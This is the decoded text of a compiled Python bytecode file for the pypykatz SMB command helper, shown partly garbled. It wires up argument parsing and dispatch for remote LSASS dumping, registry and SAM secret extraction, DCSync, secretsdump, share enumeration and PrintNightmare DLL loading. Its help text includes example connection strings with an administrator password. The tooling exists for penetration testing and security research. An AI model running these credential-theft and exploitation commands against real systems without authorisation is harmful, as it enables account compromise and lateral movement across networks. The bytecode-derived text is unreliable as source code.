o
    j'                     @   s   d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlm	Z	 d dl
mZ d dlmZ 	 G dd dZdZG dd	 d	ZdS )
    Nlogger)UniversalEncoder)LogonSessionc                   @   s   e Zd Zdd ZdS )
SMBCMDArgsc                 C   s,   d | _ d| _d| _d | _ d| _ddg| _d S )Nr   TFlogini)smb_urlverbosesilentno_interactivecommandsself r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/smb/cmdhelper.py__init__   s   zSMBCMDArgs.__init__N)__name__
__module____qualname__r   r   r   r   r   r      s    r   z=FOR AVAILABLE SUBCOMMANDS TYPE "... smb help" insted of "-h" c                   @   s>   e Zd Zdd Zdd Zdd Zdd Zd	d
 ZdddZdS )SMBCMDHelperc                 C   s   dg| _ dg| _d S )Nsmb)live_keywordskeywordsr   r   r   r   r   &   s   zSMBCMDHelper.__init__c                 C   sr
  |j ddd}| }d|_d|_|j ddd}|jdd	d
ddd |jddd |jdddd |j ddd}|jddd |jdddd |jdddd |jddd d |jd!d"dd#d |jd$td%d&d' |jd(d)g d*d+d,d-d. |j d/d0d}|jdd1d |jd2d3d4d5gd4dd6 |jdddd |jdddd |jddd d |jd!d"dd#d |jd$td%d&d' |jd(d)g d*d+d,d-d. |jd7d8dd9d |jd:d;td<d=d' |j d>d?d}|jdd@d |jdAdBd |jdCdDd |jdEdFd |jdGdHd |jdddd |jdddd |j dIdJd}	|	jddKd |	jdddd |	jdddd |	jd7d8dd9d |	jd:d;td<d=d' |j dLdMd}
|
jddNd |
jdOdPdQd |
jdddRd |j dSdSd}|jddTd |jdddd |jdddd |jddd d |jd!d"dd#d |jd$td%d&d' |jd(d)g d*d+d,d-d. |j dUdVd}|jdd	d
ddd |jdWtdXdYd' |jdZtd d[d' |jd\dd]d |jd^dd_d |jd:d;td<d=d' |jd`dadbd |jdcdddd |jddedfd |jdddgd |jdhddid |jd7d8ddjd |jdktd dld' |jdmdnddod |jdpdqddrd |jdsdtddud |jdvdwd |j dxdxd}|jddTd |jdydzd |jd{d|d}gd}d~d6 |jdddgddd6 |j ddd}|jddTd |jdydzd |jd{d|d}gd}d~d6 |jdddgddd6 tjdd}|jdd}d|_d|_|j ddd}|jd{d|d}gd|dd6 |jdddgddd6 |jdd	d
ddd |jddd |jdddd |j d/d0d}|jddd |jd{d|d}gd}d~d6 |jdddgddd6 |jd2d3d4d5gd4dd6 |jdddd |jdddd |jddd d |jd!d"dd#d |jd$td%d&d' |jd(d)g d*d+d,d-d. |jd7d8dd9d |jd:d;td<d=d' |j dIdJd}|jddd |jd{d|d}gd}d~d6 |jdddgddd6 |jdddd |jdddd |jd:d;td<d=d' |jd7d8dd9d |j dLdMd}|jddd |jd{d|d}gd}d~d6 |jdddgddd6 |jdOdPdQd |jdddRd |j dSdSd}|jddd |jd{d|d}gd}d~d6 |jdddgddd6 |jdddd |jdddd |jddd d |jd!d"dd#d |jd$td%d&d' |jd(d)g d*d+d,d-d. |j dUdd}|jd{d|d}gd}d~d6 |jdddgddd6 |jdd	d
ddd |jdWtdXdYd' |jdZtd d[d' |jd\dd]d |jd^dd_d |jd:d;td<d=d' |jdddd |jdcdddd |jddedfd |jdddgd |jdhddid |jd7d8ddjd |jdktd dld' |jdmdnddod |jdpdqddrd |jdsdtddud |j dxdxd}|jddd |jdydzd |jd{d|d}gd}d~d6 |jdddgddd6 |j ddd}|jddd |jdydzd |jd{d|d}gd}d~d6 |jdddgddd6 |j ddt|gd}d S )Nr   zSMB related commands)helpT
smb_moduleclientzGSMB client. Use "help" instead of "-h" to get the available subcommandsz-vz	--verbosecountr   zVerbosity, can be stacked)actiondefaultr   urlzSMB connection stringr   *z!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.)nargsr   	lsassfilezParse a remote LSASS dump file.zSMB connection string with file in path field. Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/lsass.DMP'z--json
store_truez Print credentials in JSON format)r   r   z-oz	--outfilez[Save results to file (you can specify --json for json file, or text format will be written)z-kz--kerberos-dirz%Save kerberos tickets to a directory.z-gz--grepz%Print credentials in greppable formatz--chunksizei   z Chunksize for file data retrival)typer   r   z-pz
--packages)allmsvwdigesttspkgssplivesspdpapicloudap+r&   zLSASS package to parse)choicesr"   r   r   	lsassdumpzRemotely dumps and parses LSASSzjSMB connection string Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'z-mz--methodtaskservice)r/   r   r   z-tz--targetzFiles/IPs/Hostnames for targetsz-wz--worker-count
   z8Number of parallell enum workers. Always one worker/hostregfilez"Parse a remote registry hive dumpszSMB connection string with folder in path field. Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/C$/Users/victim/Desktop/'systemz path to the SYSTEM registry hivez--samzpath to the SAM registry hivez
--securityz"path to the SECURITY registry hivez
--softwarez"path to the SOFTWARE registry hiveregdumpz"Remotely dumps and parses registryzkSMB connection string. Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102'dcsyncDcSyncziSMB connection string. Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.2'z-uz
--usernameztaget usernamezSave results to filesecretsdumpzlSMB connection string. Example: 'smb2+ntlm-password://TEST\Administrator:QLFbT8zkiFGlJuf0B3Qq@10.10.10.102/'	shareenumzSMB share enumeratorz--depth   z Maximum level of folders to enumz
--maxitemsz0Maximum number of items per forlder to enumeratez--dirsdz&Fetch Security Descriptors for foldersz--filesdz$Fetch Security Descriptors for filesz-lz--ldapzUse LDAP to get a list of machines to enumerate. This will return dns names so be carefule to have a correct DNS server config!z
--progressz1Progress bar. Please use it with output-file set!z
--out-filezOutput filezOutput format is JSONz--tsvzOutput format is TSVz?Files/IPs/Hostnames for targets. Can be omitted if LDAP is usedz--max-runtimez%Maximum runtime per host (in seconds)z--esz--exclude-sharez"Exclude shares with name specifiedz--edz--exclude-dirz'Exclude directories with name specifiedz--etz--exclude-targetzExclude hosts from enumerationr	   zYSMB connection string. Credentials specified here will be used to perform the enumerationprintnightmaredllpathzPath to the DLL to be loaded by the remote host. Either UNC (\\<ip>\path\to\dll.dll) or Full file path on the remote computer (C:\path\to\dll.dll). Latter is useful if you have write permissions on the remote machinez--authmethodntlmkerberoszsAuthentication method to use during login. If kerberos is used, the target must be DNS or hostname, NOT IP address!z--protocol-version23z,SMB protocol version. SMB1 is not supported.parprintnightmarezpar printnightmareF)add_helpz6LIVE SMB commands work under the current user context.livesmbcommandzNSMB (live) client. Use "help" instead of "-h" to get the available subcommandsz)Authentication method to use during loginhostzTarget host to connect tozSMB (live) share enumerator. THE DEFAULT SETTINGS ARE OPTIMIZED TO WORK ON DOMAIN-JOINED MACHINES. This will start enumeration using the current user credentials.z--skip-ldapz#Skip fetching target hosts via LDAPzSMB (live) commands)r   epilogparents)	
add_parseradd_subparsersrequireddestadd_argumentintargparseArgumentParsersmb_live_epilog)r   parserlive_parser	smb_groupsmb_subparserssmb_client_groupsmb_lsassfile_groupsmb_lsassdump_groupsmb_regfile_groupsmb_regsec_groupsmb_dcsync_groupsmb_secretsdump_groupsmb_shareenum_parserprintnightmare_groupparprintnightmare_grouplive_subcommand_parserlive_smb_subparserslive_client_parserlive_lsassdump_grouplive_regsec_grouplive_dcsync_grouplive_secretsdump_grouplive_shareenum_parserlive_printnightmare_grouplive_parprintnightmare_group
live_groupr   r   r   add_args*   s<  zSMBCMDHelper.add_argsc                 C   s`   |j | jv rt| | t| jdkr*|j dkr,|j| jv r.t| | d S d S d S d S )Nr   live)commandr   asynciorunlenr   modulerun_live)r   argsr   r   r   execute   s
   $zSMBCMDHelper.executec              
      s  t   dkrtdddlm} ddlm} | }|jdkr1d|j	|j
|d |d	 |jf }|jdkr<|d
 n|jdkrI|jtjd nd|j }|j|d |jdkrddlm} t }||_|j|_|jd urt|jdkrg |_|jd dkrdg|_n|jd dkr|jd |jD ]}	|j|	 q||I d H  d S |jdkrddlm}
 |
||j|j|jdI d H }|D ]\}}}|d urtd|  | d|ig | qd S |jdkrddlm}
 ddlm} ddlm } z|
||j|jdI d H }|d ur| jd|ig |dd W n ty* } zt!d W Y d }~nd }~ww z5||I d H }|d ur_|j"rG|#|j"d |j$ n|j$rYtt$j%|& t'dd d! ntt(| W n tyx } zt!d" W Y d }~nd }~ww z\z4|j"d urt)|j"d# d$d%d&}||2 z3 d H W }|j"d ur|*t(| qtt(| q6 W n ty } zt!d' W Y d }~nd }~ww W |j"d ur|+  d S d S |j"d ur|+  w w |jd(kr.ddlm } |j"d urt)|j"d$d%d&}|||j,2 z3 d H W }|j"d ur|*t(| qtt(| q6 |j"d ur,|+  d S d S |jd)krqddlm} ||I d H }|d uro|j"rT|#|j"|j$ d S |j$rgtt$j%|& t'dd d! d S tt(| d S d S |jd*krdd+l-m.} |||j/I d H \}}|d urtd,|  d S td- d S |jd.krdd/l-m0} |||j/I d H \}}|d urtd0|  d S td1 d S |jdkrVdd2l1m2} d3}|j$d u rd4}|j3d u rd5}g }|j4d ur|j4}g }|j5d ur|j5}d6}|j6d u rd }g }|j7d ur|j7}|dHi d7d6d8|j8d9|j9d:|j:d;|j;d<|j<d=|j=d>|j>d?|j?d@|j
dA|j	dB|dC|j@dD|dE|dF|dG|I d H  d S d S )INwindowsz#Live commands only work on Windows!r   r   )get_logon_infor:   zsmb%s+sspi-%s://%s\%s@%sdomainusernamed      level   r   amainr   r   r0   r0   )	chunksizepackagesmethodz	ERROR: %ssmbfiler9   r6   r7   r   r   
_lsass.txtfile_prefix)[SECRETSDUMP] Failed to get LSASS secrets_registry.txt   Tclsindent	sort_keys,[SECRETSDUMP] Failed to get registry secrets_dcsync.txtw newline&[SECRETSDUMP] Failed to perform DCSYNCr7   r6   rB   rB   Parprintnightmare failed! %sParprintnightmare OK!r<   r<   Printnightmare failed! %sPrintnightmare OK!r:   strjsontsvautor	   targetssmb_worker_countdepthout_fileprogress	max_itemsdirsdfilesd
authmethodprotocol_versionoutput_typemax_runtimeexclude_shareexclude_dirldap_urlexclude_targetr   )Aplatformr5   lower	Exceptionaiosmbr   winacl.functions.highlevelru   rD   r   r   rE   r
   setLevelINFOaiosmb.examples.smbclientr~   r   r	   r   ro   appendpypykatz.smb.lsassutilsr0   r   r   r   printprocess_resultspypykatz.smb.regutilsr6   pypykatz.smb.dcsyncr7   	exceptionoutfileto_filer   dumpsto_dictr   r   openwritecloserw   pypykatz.smb.printerrB   r=   r<   pypykatz.smb.shareenumr:   r   esed	skip_ldapettargetworker_countr   r   r   maxitemsr   r   r   )r   rr   smblogru   infor	   r{   r~   larl   r0   tmimistidmimierrr6   r7   epor   secretrB   _r<   r:   r   r   r   r   r   r   r   r   rq      sV  
 










	

	
zSMBCMDHelper.run_livec                    s  ddl m} |jdkr|d n|jdkr|jtjd nd|j }|j|d |jdkrMddlm} ||j|j	|j
d	I d H }| d
|ig | d S |jdkrddlm} ||j|j	|j
|j|j|jd2 z3 d H W \}}}|d urvqh| ||ig | qh6 d S |jdkrddlm} ddlm}	 ddlm}
 z||j|j	|j
d	I d H }|d ur| jd
|ig |dd W n ty } ztd W Y d }~nd }~ww z4|	|jI d H }|d ur|jr||jd |j n|jrttj| tddd ntt| W n ty } ztd W Y d }~nd }~ww z]z5|jd ur0t|jd ddd}|
|j2 z3 d H W }|jd urJ|t| q5tt| q56 W n tyl } ztd W Y d }~nd }~ww W |jd urz|   d S d S |jd ur|   w w |jdkrddlm}
 |jd urt|jddd}|
|j|j!2 z3 d H W }|jd ur|t| qtt| q6 |jd ur|   d S d S |jdkrtddlm}	 |	|j|j|jd 2 z3 d H W \}}}|d ur,|jr t|jd!}|d"|t|f  W d    n	1 sw   Y  n
td"|t|f  q|d uro|jr?||j|j q|jrRttj| tddd qd}t|"d#D ]}|d$| 7 }||d% 7 }q[t| q6 d S |jd&krdd'lm#} ||j|j$|j%|j&|j'd(I d H }|d ur|jr||j|j d S |jrttj| tddd d S tt| d S d S |jd)kr#dd*l(m)} d+}|jdu rd,}|j*du rd-}g }|j+d ur|j+}g }|j,d ur|j,}g }|j-d ur |j-}||j.|j|j|j/|j0|j1|j2|j3|j4||j5|||j6|d.I d H  d S |jd/kr|dd0l7m8} t9 }|j|_.|j|_|j:d urst;|j:dkrsg |_:|j:d d1krXd1g|_:n|j:d d2krf|j:<d2 |j:D ]	}|j:<| qi||I d H  d S |jd3krdd4l=m>} ||j|j?I d H \}}|d urtd5|  d S td6 d S |jd7krdd8l=m@} ||j|j?I d H \}}|d urtd9|  d S td: d S d S );Nr   r   rx   ry   rz   r|   r#   )r#   r   r   r0   r   )r   r   r   r   
worker_cntr9   r   r   r   r   r   r   r   Tr   r   r   r   r   r   r   r7   r6   )r   r   az[%s][ERROR]%s
z[%s] 
r4   )r4   )samsecuritysoftwarer:   r   r   r   r   )r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r}   r   r   r<   r   r   r   rB   r   r   r   )Ar   r   r
   r   r   r   r   r#   r    r   r   r   r0   r   r   r   r   r6   r   r7   r   r   r   r   r   r   r   r   r   r   r   r   r   rw   splitr4   r5   r   r   r   r   r:   r   r   r   r   r	   r   r   r   r   r   r   r   ldapr   r~   r   r   ro   r   r   r<   r=   rB   )r   rr   r   r{   r#   r   r0   r   r   r6   r7   r   r   r   r   fbufferliner4   r:   r   r   r   r   r~   r   rl   r<   r   rB   r   r   r   rn     sb  






&

"
	



zSMBCMDHelper.runr   c                 C   s  |j r*|jr*t|j | d}tj||tddd W d    n1 s#w   Y  nQ|j r|jrt|j | ddd<}|ddgtj	 d	  |D ]#}|| j
D ]}|| j
|  D ]}|d|g| d	  q]qRqKW d    n1 syw   Y  n|j rt|j | d^}|D ]<}|d
|  || j
D ]}|dt|| j
|   qt|| jdkr|d || jD ]	}	|t|	 qqt|dkr|d |D ]	}
|d|
  qW d    n1 sw   Y  n|jrttj|tddd nw|jrtddgtj	  |D ]}|| j
D ]}|| j
|  D ]}td|g|  q'q|| jD ]b}	|	 }|d dkru|d d urs|t|d t|d t|d dddddt|d g
}td| q<|	 }|t|d dddddt|d t|d t|d dg}td| q<|| jD ]6\}}t|d	 d	t|j }t|  }|| d dddddddd|g
}td|d	  qqn|D ]}td|  t|| trt||  q|| j
D ]}tt|| j
|  qt|| jdkr)td || jD ]	}	tt|	 qt|| jdkrdtd || jD ]'\}}t|d	 d	t|j }t|  }td|d |f  q<qt|dkr{td |D ]}
t|
 qs|jrtj|j}t d|  |D ]^}
t!"|
}d|t#d$ f }||
 j%&tj|| ||
 j
D ]}||
 j
| j'D ]}|j(D ]}|)| qqq||
 jD ]}	|	j*d kr|	j(D ]}|)| qߐqԐqd S d S )!Nr   r   Tr   r   r   :r   r   zFILE: ======== %s =======
r   r   z
== Orphaned credentials ==
z!
== Failed to parse these files:
z%s
credtyper,   password
domainnamerw   	masterkeysha1_masterkeykey_guid_exception_please_reportzFILE: ======== %s =======z== Orphaned credentials ==z== Errors ==z%s %sz
==== Parsing errors:zWriting kerberos tickets to %sz%s_%s.ccacher?   )+r   r   r   dumpr   grepr   joinr   grep_headerlogon_sessionsto_grep_rowsr   ro   orphaned_credsr   r   r   errors	traceback	format_tb__traceback__base64	b64encodeencodedecode
isinstancekerberos_dirospathabspathr   r   ntpathbasenameurandomhexkerberos_ccacher   kerberos_credsticketsto_kirbir   )r   resultsfiles_with_errorrr   r   r   resultluidrowcredfilenametxpkgr   err_strdirbase_filenameccache_filenamekcredticketr   r   r   r   m  s   

8: 


zSMBCMDHelper.process_resultsN)r   )	r   r   r   r   rj   rs   rq   rn   r   r   r   r   r   r   %   s     = 6 Kr   )r  r   r  rm   r   rN   r   r   pypykatzr   pypykatz.commons.commonr   -pypykatz.alsadecryptor.packages.msv.decryptorr   r   rP   r   r   r   r   r   <module>   s   	